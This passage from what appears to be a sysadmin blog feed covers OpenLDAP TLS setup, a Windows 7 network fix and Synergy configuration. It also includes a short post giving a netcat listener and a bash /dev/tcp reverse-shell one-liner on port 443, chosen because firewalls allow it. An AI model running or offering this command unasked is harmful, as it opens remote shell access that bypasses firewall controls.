</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">chmod</span> <span class="mi">644</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">openldap</span><span class="o">/</span><span class="n">certs</span><span class="o">/*</span>
</span></code></pre></td></tr></table></div></figure>


<p>Edit /etc/sysconfig/ldap, uncomment SLAPD_LDAPS and change from ‘no’ to ‘yes’</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">vi</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">sysconfig</span><span class="o">/</span><span class="n">ldap</span>
</span><span class='line'><span class="n">SLAPD_LDAPS</span><span class="o">=</span><span class="n">yes</span>
</span></code></pre></td></tr></table></div></figure>


<p>Setup the base database to use</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">cp</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">share</span><span class="o">/</span><span class="n">openldap</span><span class="o">-</span><span class="n">servers</span><span class="o">/</span><span class="n">DB_CONFIG</span><span class="p">.</span><span class="n">example</span> <span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">ldap</span><span class="o">/</span><span class="n">DB_CONFIG</span>
</span></code></pre></td></tr></table></div></figure>


<p>Set permissions to the ldap user account on <code>/var/lib/ldap</code></p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">chown</span> <span class="o">-</span><span class="n">Rf</span> <span class="nl">ldap:</span><span class="n">ldap</span> <span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">ldap</span>
</span></code></pre></td></tr></table></div></figure>


<p>Create the LDAP administrative password, be sure to save the SSHA generated string so we can add it to the bdb.ldif config file in the next step.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">slappasswd</span>
</span><span class='line'><span class="n">New</span> <span class="nl">password:</span> <span class="o">&lt;</span><span class="n">password</span><span class="o">&gt;</span>
</span><span class='line'><span class="n">Re</span><span class="o">-</span><span class="n">enter</span> <span class="n">new</span> <span class="nl">password:</span> <span class="o">&lt;</span><span class="n">password</span><span class="o">&gt;</span>
</span><span class='line'><span class="p">{</span><span class="n">SSHA</span><span class="p">}</span><span class="mi">2</span><span class="n">Gv8HLL8SB5pMTbMB3b5AFAE4A5sDPPE</span>
</span></code></pre></td></tr></table></div></figure>


<p>Open the <code>olcDatabase={1}bdb.ldif</code> file and make the modifications shown below to it. <code>/etc/openldap/slapd.d/cn\=config/olcDatabase\={1}bdb.ldif</code> Change all references in this file from my-domain to your domain name, for example:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="nl">olcSuffix:</span> <span class="n">dc</span><span class="o">=</span><span class="n">my</span><span class="o">-</span><span class="n">domain</span><span class="p">,</span><span class="n">dc</span><span class="o">=</span><span class="n">com</span>
</span><span class='line'><span class="n">Would</span> <span class="n">be</span> <span class="n">changed</span> <span class="n">to</span> <span class="nl">read:</span>
</span><span class='line'><span class="nl">olcSuffix:</span> <span class="n">dc</span><span class="o">=</span><span class="n">localdomain</span><span class="p">,</span><span class="n">dc</span><span class="o">=</span><span class="n">com</span>
</span></code></pre></td></tr></table></div></figure>


<p>To allow users to modify their passwords, etc, you will have to add the following after the last <code>olcDbIndex</code> line in this file, again replace the domain name with yours.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="nl">olcAccess:</span> <span class="n">to</span> <span class="n">attrs</span><span class="o">=</span><span class="n">userPassword</span>
</span><span class='line'>       <span class="n">by</span> <span class="n">self</span> <span class="n">write</span>
</span><span class='line'>       <span class="n">by</span> <span class="n">anonymous</span> <span class="n">auth</span>
</span><span class='line'>       <span class="n">by</span> <span class="n">dn</span><span class="p">.</span><span class="n">base</span><span class="o">=</span><span class="s">&quot;cn=Manager,dc=localdomain,dc=com&quot;</span> <span class="n">write</span>
</span><span class='line'>       <span class="n">by</span> <span class="o">*</span> <span class="n">none</span>
</span><span class='line'><span class="nl">olcAccess:</span> <span class="n">to</span> <span class="o">*</span>
</span><span class='line'>       <span class="n">by</span> <span class="n">self</span> <span class="n">write</span>
</span><span class='line'>       <span class="n">by</span> <span class="n">dn</span><span class="p">.</span><span class="n">base</span><span class="o">=</span><span class="s">&quot;cn=Manager,dc=localdomain,dc=com&quot;</span> <span class="n">write</span>
</span><span class='line'>       <span class="n">by</span> <span class="o">*</span> <span class="n">read</span>
</span></code></pre></td></tr></table></div></figure>


<p>Add the following to the end of this file to set the root password (replace the SSHA string with the string saved earlier):</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="nl">olcRootPW:</span> <span class="p">{</span><span class="n">SSHA</span><span class="p">}</span><span class="mi">2</span><span class="n">Gv8HLL8SB5pMTbMB3b5AFAE4A5sDPPE</span>
</span></code></pre></td></tr></table></div></figure>


<p>Next modify the monitoring configuration file changing all references to my-domain to your domain.</p>

<p><code>/etc/openldap/slapd.d/cn\=config/olcDatabase\={2}monitor.ldif</code></p>

<p>Test the configuration, start the LDAP server and set it to start at boot.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">slaptest</span> <span class="o">-</span><span class="n">u</span>
</span><span class='line'><span class="n">config</span> <span class="n">file</span> <span class="n">testing</span> <span class="n">succeeded</span>
</span><span class='line'>
</span><span class='line'><span class="n">service</span> <span class="n">slapd</span> <span class="n">start</span>
</span><span class='line'>
</span><span class='line'><span class="n">chkconfig</span> <span class="n">slapd</span> <span class="n">on</span>
</span></code></pre></td></tr></table></div></figure>


<p>Now we can configure the LDAP client. Do this on the LDAP server first to make sure everything is working properly.</p>

<p>First create the cacerts directory for the client certificates and copy the ldap certificate we created earlier into this directory</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">mkdir</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">openldap</span><span class="o">/</span><span class="n">cacerts</span>
</span><span class='line'><span class="n">cp</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">openldap</span><span class="o">/</span><span class="n">certs</span><span class="o">/</span><span class="n">cacert</span><span class="p">.</span><span class="n">pem</span>  <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">openldap</span><span class="o">/</span><span class="n">cacerts</span><span class="o">/</span>
</span></code></pre></td></tr></table></div></figure>


<p>Next use <code>authconfig-tui</code> to configure the client configuration files</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">authconfig</span><span class="o">-</span><span class="n">tui</span>
</span><span class='line'><span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Use</span> <span class="n">LDAP</span>
</span><span class='line'><span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Use</span> <span class="n">LDAP</span> <span class="n">Authentication</span>
</span><span class='line'><span class="o">&lt;</span><span class="n">Next</span><span class="o">&gt;</span>
</span><span class='line'><span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Use</span> <span class="n">TLS</span>
</span><span class='line'><span class="nl">Server:</span> <span class="nl">ldap:</span><span class="c1">//ldapserver.localdomain/</span>
</span><span class='line'><span class="n">Base</span> <span class="nl">DN:</span> <span class="n">dc</span><span class="o">=</span><span class="n">localdomain</span><span class="p">,</span><span class="n">dc</span><span class="o">=</span><span class="n">com</span>
</span></code></pre></td></tr></table></div></figure>


<p>Check if our LDAP server is working and responding to search requests.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">ldapsearch</span> <span class="o">-</span><span class="n">x</span> <span class="o">-</span><span class="n">b</span> <span class="s">&quot;dc=localdomain,dc=com&quot;</span>
</span></code></pre></td></tr></table></div></figure>


<p>You should get a <code>search: 2</code> somewhere in the output.</p>

<p>Test to make sure encrypted searches are also working.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">ldapsearch</span> <span class="o">-</span><span class="n">x</span> <span class="o">-</span><span class="n">b</span> <span class="s">&quot;dc=localdomain,dc=com&quot;</span> <span class="o">-</span><span class="n">ZZ</span>
</span></code></pre></td></tr></table></div></figure>


<p>You should get a <code>search: 3</code> somewhere in the output.</p>

<p>Now we must configure the base domain, and import the information into our LDAP server.</p>

<p>Create the file <code>base.ldif</code> with the following contents:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="nl">dn:</span> <span class="n">dc</span><span class="o">=</span><span class="n">localdomain</span><span class="p">,</span><span class="n">dc</span><span class="o">=</span><span class="n">com</span>
</span><span class='line'><span class="nl">dc:</span> <span class="n">localdomain</span>
</span><span class='line'><span class="nl">objectClass:</span> <span class="n">top</span>
</span><span class='line'><span class="nl">objectClass:</span> <span class="n">domain</span>
</span><span class='line'>
</span><span class='line'><span class="nl">dn:</span> <span class="n">ou</span><span class="o">=</span><span class="n">People</span><span class="p">,</span><span class="n">dc</span><span class="o">=</span><span class="n">localdomain</span><span class="p">,</span><span class="n">dc</span><span class="o">=</span><span class="n">com</span>
</span><span class='line'><span class="nl">ou:</span> <span class="n">People</span>
</span><span class='line'><span class="nl">objectClass:</span> <span class="n">top</span>
</span><span class='line'><span class="nl">objectClass:</span> <span class="n">organizationalUnit</span>
</span><span class='line'>
</span><span class='line'><span class="nl">dn:</span> <span class="n">ou</span><span class="o">=</span><span class="n">Group</span><span class="p">,</span><span class="n">dc</span><span class="o">=</span><span class="n">localdomain</span><span class="p">,</span><span class="n">dc</span><span class="o">=</span><span class="n">com</span>
</span><span class='line'><span class="nl">ou:</span> <span class="n">Group</span>
</span><span class='line'><span class="nl">objectClass:</span> <span class="n">top</span>
</span><span class='line'><span class="nl">objectClass:</span> <span class="n">organizationalUnit</span>
</span></code></pre></td></tr></table></div></figure>


<p>Now import the base.ldif file into LDAP.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">ldapadd</span> <span class="o">-</span><span class="n">x</span> <span class="o">-</span><span class="n">W</span> <span class="o">-</span><span class="n">D</span> <span class="s">&quot;cn=Manager,dc=localdomain,dc=com&quot;</span> <span class="o">-</span><span class="n">f</span> <span class="n">base</span><span class="p">.</span><span class="n">ldif</span>
</span><span class='line'><span class="n">Enter</span> <span class="n">LDAP</span> <span class="nl">Password:</span> <span class="o">&lt;</span><span class="n">password</span><span class="o">&gt;</span>
</span><span class='line'><span class="n">adding</span> <span class="n">new</span> <span class="n">entry</span> <span class="s">&quot;dc=localdomain,dc=com&quot;</span>
</span><span class='line'>
</span><span class='line'><span class="n">adding</span> <span class="n">new</span> <span class="n">entry</span> <span class="s">&quot;ou=People,dc=localdomain,dc=com&quot;</span>
</span><span class='line'>
</span><span class='line'><span class="n">adding</span> <span class="n">new</span> <span class="n">entry</span> <span class="s">&quot;ou=Group,dc=localdomain,dc=com&quot;</span>
</span></code></pre></td></tr></table></div></figure>


<p>Next create a POSIX user that can use our central LDAP server. Create a temporary password for the new user and set the users group. Create the file<code> posix_user.ldif</code> substituting for your environment:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="nl">dn:</span> <span class="n">uid</span><span class="o">=</span><span class="n">mnichols</span><span class="p">,</span><span class="n">ou</span><span class="o">=</span><span class="n">People</span><span class="p">,</span><span class="n">dc</span><span class="o">=</span><span class="n">localdomain</span><span class="p">,</span><span class="n">dc</span><span class="o">=</span><span class="n">com</span>
</span><span class='line'><span class="nl">objectClass:</span> <span class="n">top</span>
</span><span class='line'><span class="nl">objectClass:</span> <span class="n">account</span>
</span><span class='line'><span class="nl">objectClass:</span> <span class="n">posixAccount</span>
</span><span class='line'><span class="nl">objectClass:</span> <span class="n">shadowAccount</span>
</span><span class='line'><span class="nl">cn:</span> <span class="n">Matt</span> <span class="n">Nichols</span>
</span><span class='line'><span class="nl">uid:</span> <span class="n">mnichols</span>
</span><span class='line'><span class="nl">uidNumber:</span> <span class="mi">3000</span>
</span><span class='line'><span class="nl">gidNumber:</span> <span class="mi">3000</span>
</span><span class='line'><span class="nl">homeDirectory:</span> <span class="o">/</span><span class="n">staff</span><span class="o">/</span><span class="n">mnichols</span>
</span><span class='line'><span class="nl">loginShell:</span> <span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">bash</span>
</span><span class='line'><span class="nl">gecos:</span> <span class="n">Matt</span> <span class="n">Nichols</span><span class="p">,</span><span class="n">Teacher</span><span class="p">,</span><span class="n">Room</span> <span class="mi">16</span><span class="p">,</span><span class="mi">626</span><span class="o">-</span><span class="mi">135</span><span class="o">-</span><span class="mo">0011</span><span class="p">,</span><span class="mi">409</span><span class="o">-</span><span class="mi">111</span><span class="o">-</span><span class="mi">1372</span>
</span><span class='line'><span class="nl">userPassword:</span> <span class="p">{</span><span class="n">crypt</span><span class="p">}</span><span class="n">x</span>
</span><span class='line'><span class="nl">shadowLastChange:</span> <span class="mi">0</span>
</span><span class='line'><span class="nl">shadowMax:</span> <span class="mi">0</span>
</span><span class='line'><span class="nl">shadowWarning:</span> <span class="mi">0</span>
</span></code></pre></td></tr></table></div></figure>


<p>Add the user information to our LDAP server.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">ldapadd</span> <span class="o">-</span><span class="n">x</span> <span class="o">-</span><span class="n">W</span> <span class="o">-</span><span class="n">D</span> <span class="s">&quot;cn=Manager,dc=localdomain,dc=com&quot;</span> <span class="o">-</span><span class="n">f</span> <span class="n">posix_user</span><span class="p">.</span><span class="n">ldif</span>
</span><span class='line'><span class="n">Enter</span> <span class="n">LDAP</span> <span class="nl">Password:</span> <span class="o">&lt;</span><span class="n">password</span><span class="o">&gt;</span>
</span><span class='line'><span class="n">adding</span> <span class="n">new</span> <span class="n">entry</span> <span class="s">&quot;uid=mnichols,ou=People,dc=localdomain,dc=com&quot;</span>
</span></code></pre></td></tr></table></div></figure>


<p>Set the new users temporary password.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">ldappasswd</span> <span class="o">-</span><span class="n">s</span> <span class="n">newpassword</span> <span class="o">-</span><span class="n">D</span> <span class="s">&quot;cn=Manager,dc=localdomain,dc=com&quot;</span> <span class="o">-</span><span class="n">W</span> <span class="o">-</span><span class="n">x</span> <span class="n">uid</span><span class="o">=</span><span class="n">mnichols</span><span class="p">,</span><span class="n">ou</span><span class="o">=</span><span class="n">People</span><span class="p">,</span><span class="n">dc</span><span class="o">=</span><span class="n">localdomain</span><span class="p">,</span><span class="n">dc</span><span class="o">=</span><span class="n">com</span>
</span></code></pre></td></tr></table></div></figure>


<p>Next set the users group up. Create the file <code>posix_group.ldif</code> substituting for your environment:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="nl">dn:</span> <span class="n">cn</span><span class="o">=</span><span class="n">mnichols</span><span class="p">,</span><span class="n">ou</span><span class="o">=</span><span class="n">Group</span><span class="p">,</span><span class="n">dc</span><span class="o">=</span><span class="n">localdomain</span><span class="p">,</span><span class="n">dc</span><span class="o">=</span><span class="n">com</span>
</span><span class='line'><span class="nl">objectClass:</span> <span class="n">top</span>
</span><span class='line'><span class="nl">objectClass:</span> <span class="n">posixGroup</span>
</span><span class='line'><span class="nl">cn:</span> <span class="n">mnichols</span>
</span><span class='line'><span class="nl">userPassword:</span> <span class="p">{</span><span class="n">crypt</span><span class="p">}</span><span class="n">x</span>
</span><span class='line'><span class="nl">gidNumber:</span> <span class="mi">3000</span>
</span></code></pre></td></tr></table></div></figure>


<p>Add the information to our LDAP server:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">ldapadd</span> <span class="o">-</span><span class="n">x</span> <span class="o">-</span><span class="n">W</span> <span class="o">-</span><span class="n">D</span> <span class="s">&quot;cn=Manager,dc=localdomain,dc=com&quot;</span> <span class="o">-</span><span class="n">f</span> <span class="n">posix_group</span><span class="p">.</span><span class="n">ldif</span>
</span><span class='line'><span class="n">Enter</span> <span class="n">LDAP</span> <span class="nl">Password:</span> <span class="o">&lt;</span><span class="n">password</span><span class="o">&gt;</span>
</span><span class='line'><span class="n">adding</span> <span class="n">new</span> <span class="n">entry</span> <span class="s">&quot;cn=mnichols,ou=Group,dc=localdomain,dc=com&quot;</span>
</span></code></pre></td></tr></table></div></figure>


<p>You should now have a fully functioning LDAP server with TLS encryption.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Reverse Shell on CentOS]]></title>
    <link href="http://www.computerglitch.net/blog/blog/2013/01/04/reverse-shell-on-centos/"/>
    <updated>2013-01-04T09:40:00-05:00</updated>
    <id>http://www.computerglitch.net/blog/blog/2013/01/04/reverse-shell-on-centos</id>
    <content type="html"><![CDATA[<p>I wanted an easy way to get to the shell on my remote machine bypassing the firewall etc.</p>

<p>I&#8217;m going to refer to the systems as follows: <code>OurSystem</code> <code>TargetSystem</code></p>

<p>On <code>OurSystem</code> we need to open a listening network connection using netcat. This can be any port we want, but I&#8217;m going to use port 443 because it&#8217;s allowed through firewalls.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">nc</span> <span class="o">-</span><span class="n">l</span> <span class="mi">443</span>
</span></code></pre></td></tr></table></div></figure>


<p>Note: Make sure the firewall isn&#8217;t blocking the listening port you choose on <code>OurSystem</code></p>

<p>Next we need to force a bash shell back to <code>OurSystem</code> from <code>TargetSystem</code>. On the <code>TargetSystem</code> execute the following, substitute 12.3.4.5 with the external IP of <code>OurSystem</code>, substitute 443 with the port you set netcat to listen on.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">bash</span> <span class="o">-</span><span class="n">i</span> <span class="o">&gt;&amp;</span> <span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">tcp</span><span class="o">/</span><span class="mf">12.3.4.5</span><span class="o">/</span><span class="mi">443</span> <span class="mi">0</span><span class="o">&gt;&amp;</span><span class="mi">1</span>
</span></code></pre></td></tr></table></div></figure>


<p>You should be greeted with a bash shell from <code>TargetSystem</code> on <code>OurSystem</code>.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Some Sites Don't Load / Load Slow - Symptoms &amp; Fix - Windows 7]]></title>
    <link href="http://www.computerglitch.net/blog/blog/2012/04/22/some-sites-dont-load-slash-load-slow-symptoms-and-fix-windows-7/"/>
    <updated>2012-04-22T10:14:00-04:00</updated>
    <id>http://www.computerglitch.net/blog/blog/2012/04/22/some-sites-dont-load-slash-load-slow-symptoms-and-fix-windows-7</id>
    <content type="html"><![CDATA[<p>I noticed that internet sites were loading slowly or not at all on some systems that I had upgraded from Windows XP to clean installs of Windows 7. Pinging internet sites was fine, nslookup and dig queries all returned correct DNS resolution with no errors.</p>

<p>Sites such as google would load okay but larger sites like Amazon would load halfway or simply not load at all. Keep in mind these symptoms were seen on clean installs of Windows 7, and because of that malware causing these problems was thrown out of the equation.</p>

<p>As stated earlier all attempts to ping outside hosts worked perfectly fine. All DNS resolution was working beautifully so to dig a little further I fired up Wireshark and noticed the following:</p>

<p><img class="center" src="http://cdn.computerglitch.net/images/connection-problem1.png"></p>

<!-- more -->


<p>The NICs in these systems are Intel 82566DM-2 NICs. While looking over the capture I noticed quite a few of the following logged <code>Header checksum: 0x0000 [incorrect ...</code>. After some digging I found this article: <a href="http://www.vistax64.com/tutorials/72308-auto-tuning-tcp-ip-receive-level.html"> Auto Tuning - TCP/IP Receive Level </a></p>

<p>Basically to fix the issue you need to disable the Receive Window Auto-Tuning Level. To do that follow these steps:</p>

<p>Open a cmd shell with Administrator privileges and get the current tuning level:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">netsh</span> <span class="n">interface</span> <span class="n">tcp</span> <span class="n">show</span> <span class="n">global</span>
</span></code></pre></td></tr></table></div></figure>


<p>This should result in the following output:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">Receive</span> <span class="n">Window</span> <span class="n">Auto</span><span class="o">-</span><span class="n">Tuning</span> <span class="n">Level</span>    <span class="o">:</span> <span class="n">normal</span>
</span></code></pre></td></tr></table></div></figure>


<p>Disable the tuning level:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">netsh</span> <span class="n">interface</span> <span class="n">tcp</span> <span class="n">set</span> <span class="n">global</span> <span class="n">autotuninglevel</span><span class="o">=</span><span class="n">disabled</span>
</span></code></pre></td></tr></table></div></figure>


<p>This seems to have fixed the problem and all sites now load correctly across all browsers. I did have an issue where I couldn&#8217;t set the Auto-Tuning Level and to fix that I had to issue the following command:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">netsh</span> <span class="n">interface</span> <span class="n">tcp</span> <span class="n">set</span> <span class="n">heuristics</span> <span class="n">disabled</span>
</span></code></pre></td></tr></table></div></figure>



]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Synergy]]></title>
    <link href="http://www.computerglitch.net/blog/blog/2012/02/05/synergy/"/>
    <updated>2012-02-05T09:11:00-05:00</updated>
    <id>http://www.computerglitch.net/blog/blog/2012/02/05/synergy</id>
    <content type="html"><![CDATA[<p>I have a CentOS box and a Windows XP box I wanted to be able to easily switch between. Instead of using a KVM switch I decided to use Synergy to switch between two monitors.</p>

<p>To setup Synergy I first installed it on CentOS from the EPEL repo:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">yum</span> <span class="n">install</span> <span class="n">synergy</span><span class="o">-</span><span class="n">plus</span>
</span></code></pre></td></tr></table></div></figure>


<p>For reference my systems are: <code>xp=WindowsXP Box</code>  <code>despina=CentOS Box</code> (replace xp and despina with your system names)
Once Synergy is installed you must configure it. First edit <code>/etc/synergy.conf</code></p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="nl">section:</span> <span class="n">screens</span>
</span><span class='line'><span class="nl">xp:</span>
</span><span class='line'><span class="nl">despina:</span>
</span><span class='line'>
</span><span class='line'><span class="n">end</span>
</span><span class='line'>
</span><span class='line'><span class="nl">section:</span> <span class="n">links</span>
</span><span class='line'>
</span><span class='line'><span class="nl">xp:</span>
</span><span class='line'><span class="n">right</span> <span class="o">=</span> <span class="n">despina</span>
</span><span class='line'>
</span><span class='line'><span class="nl">despina:</span>
</span><span class='line'><span class="n">left</span> <span class="o">=</span> <span class="n">xp</span>
</span><span class='line'>
</span><span class='line'><span class="n">end</span>
</span></code></pre></td></tr></table></div></figure>




<!-- more -->


<p>This tells Synergy that to access my Windows XP system, move the mouse off the right side of the screen on my CentOS system.</p>

<p>To make Synergy start at bootup I added the following to my <code>/etc/rc.local</code> file:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">synergyc</span> <span class="o">-</span><span class="n">f</span> <span class="n">xp</span> <span class="o">&amp;</span>
</span></code></pre></td></tr></table></div></figure>


<p>This tells Synergy to connect to my Windows XP system at startup. I also wanted to have Synergy start at the very initial login page, to do that I had to do the following:</p>

<p>Edit <code>/etc/gdm/Init/Default</code> and add the following line at the very end but before exit 0 line:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">synergyc</span> <span class="o">-</span><span class="n">f</span> <span class="n">xp</span> <span class="o">&amp;</span>
</span></code></pre></td></tr></table></div></figure>


<p>Now add the following to the very top (after the #!/bin/sh line) of the <code>/etc/gdm/PreSession/Default</code> file:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">synergyc</span> <span class="o">-</span><span class="n">f</span> <span class="n">xp</span> <span class="o">&amp;</span>
</span></code></pre></td></tr></table></div></figure>


<p>Now to configure my Windows XP system. I simply downloaded and installed from <a href="http://synergy2.sourceforge.net/">http://synergy2.sourceforge.net/</a></p>

<p>Once it was installed I hit the Configure button and setup my screens as follows:</p>

<p><img class="center" src="http://cdn.computerglitch.net/images/syn1.jpg"></p>

<p>And that’s it. I can now move between systems simply by moving my mouse to the edge of the screen.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Increase Dell MD3000i Virtual Disk Size]]></title>
    <link href="http://www.computerglitch.net/blog/blog/2012/01/14/increase-dell-md3000i-virtual-disk-size/"/>
